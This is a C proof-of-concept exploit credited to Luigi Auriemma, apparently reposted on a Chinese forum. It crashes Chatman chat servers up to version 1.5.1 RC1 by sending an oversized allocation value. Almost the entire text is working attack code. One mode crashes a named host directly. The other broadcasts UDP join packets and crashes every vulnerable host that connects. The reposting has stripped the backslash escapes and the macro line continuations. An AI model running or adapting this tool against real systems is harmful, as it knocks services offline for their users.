文章作者：Luigi Auriemma
复制内容到剪贴板
代码:
/*
by Luigi Auriemma
Remote denial of service exploit that makes use of a memory allocation flaw in Chatman versions 1.5.1 RC1 and below
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#define TWAIT 30000
DWORD tid1;
HANDLE thandle;
#define launch_thread(FUNCTION, PARAMETER)
thandle = CreateThread(NULL, 0, (void *)&FUNCTION, (void *)PARAMETER, 0, &tid1);
if(!thandle)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#define ONESEC 1
#define TWAIT 30
pthread_t tid1;
int thandle;
#define launch_thread(FUNCTION, PARAMETER)
thandle = pthread_create(&tid1, NULL, (void *)&FUNCTION, (void *)PARAMETER);
if(thandle)
#endif
#define VER "0.1"
#define PORT 7779
#define JOIN "/TSr" "crash"
#define BOOM "x00x00x00x7f"
// the cause of the bug is a too big 32 bit value
// so the allocation fails and the host exits
// note, are made some operations on this number
// by the target host
#ifdef WIN32
DWORD WINAPI broadjoin(void);
DWORD WINAPI client(int sock);
#else
void *broadjoin(void);
void *client(int sock);
#endif
u_long resolv(char *host);
void std_err(void);
u_long broadip = 0xffffffffL;
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
sa,
type,
on = 1,
psz;
setbuf(stdout, NULL);
fputs("n"
"Chatman <= 1.5.1 RC1 broadcast crash "VER"n"
"by Luigi Auriemman"
"e-mail: [email]aluigi@altervista.orgn[/email]"
"web: [url]http://aluigi.altervista.orgn[/url]"
"n", stdout);
if(argc < 2) {
printf("n"
"Usage: %s <d/p> [host]n"
"n"
"d = direct, you must specify the host to crashn"
" Example: %s d localhostn"
"p = passive broadcast crash, any Chatman host reacheable by 255.255.255.255n"
" (or any other address choosen by you) will be passively crashed.n"
" Examples: %s pn"
" %s p 227.0.0.2n"
" %s p 127.0.0.1n"
"n", argv[0], argv[0], argv[0], argv[0], argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
type = argv[1][0];
if((type != 'd') && (type != 'p')) {
fputs("nError: You must choose between 'd' or 'p'n", stdout);
exit(1);
}
if(type == 'd') {
if(argc < 3) {
fputs("nError: you must specify the host to crashn", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[2]);
printf("- target %s:%hun",
inet_ntoa(peer.sin_addr),
PORT);
} else {
if(argc > 2) broadip = resolv(argv[2]);
peer.sin_addr.s_addr = INADDR_ANY;
psz = sizeof(peer);
printf("- target %s (UDP %d, bind %d)n",
inet_ntoa(*(struct in_addr *)&broadip),
PORT - 1,
PORT);
}
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(type == 'd') {
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- send BOOM datan", stdout);
if(send(sd, BOOM, sizeof(BOOM) - 1, 0)
< 0) std_err();
fputs("- the host should be crashed, check it manuallyn", stdout);
} else {
fputs(
"- launch the broad ping, the tool will automatically and passively crash anyn"
" vulnerable Chatman host each 30 seconds (so it runs infinitely until youn"
" stop it).n", stdout);
launch_thread(broadjoin, NULL) {
fputs("nError: Cannot create the threadn", stdout);
exit(1);
}
fputs("- bind TCP port to accept connections to crash hostsn", stdout);
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(listen(sd, 5)
< 0) std_err();
for(;;) {
sa = accept(sd, (struct sockaddr *)&peer, &psz);
if(sa < 0) std_err();
printf("Host %s:%hu -> BOOMn",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
launch_thread(client, sa) {
fputs("nError: Cannot create the threadn", stdout);
exit(1);
}
}
}
close(sd);
return(0);
}
#ifdef WIN32
DWORD WINAPI broadjoin(void) {
#else
void *broadjoin(void) {
#endif
int sd,
on = 1;
struct sockaddr_in peer;
peer.sin_addr.s_addr = broadip;
peer.sin_port = htons(PORT - 1); // 7778
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
< 0) std_err();
fputs("- send broadcast UDP join packet (each 30 seconds)n", stdout);
for(;;) {
if(sendto(sd, JOIN, sizeof(JOIN) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs(".n", stdout);
sleep(TWAIT);
}
close(sd);
return(0);
}
#ifdef WIN32
DWORD WINAPI client(int sock) {
#else
void *client(int sock) {
#endif
if(send(sock, BOOM, sizeof(BOOM) - 1, 0)
< 0) std_err();
sleep(ONESEC); // needed!
close(sock);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolve hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif
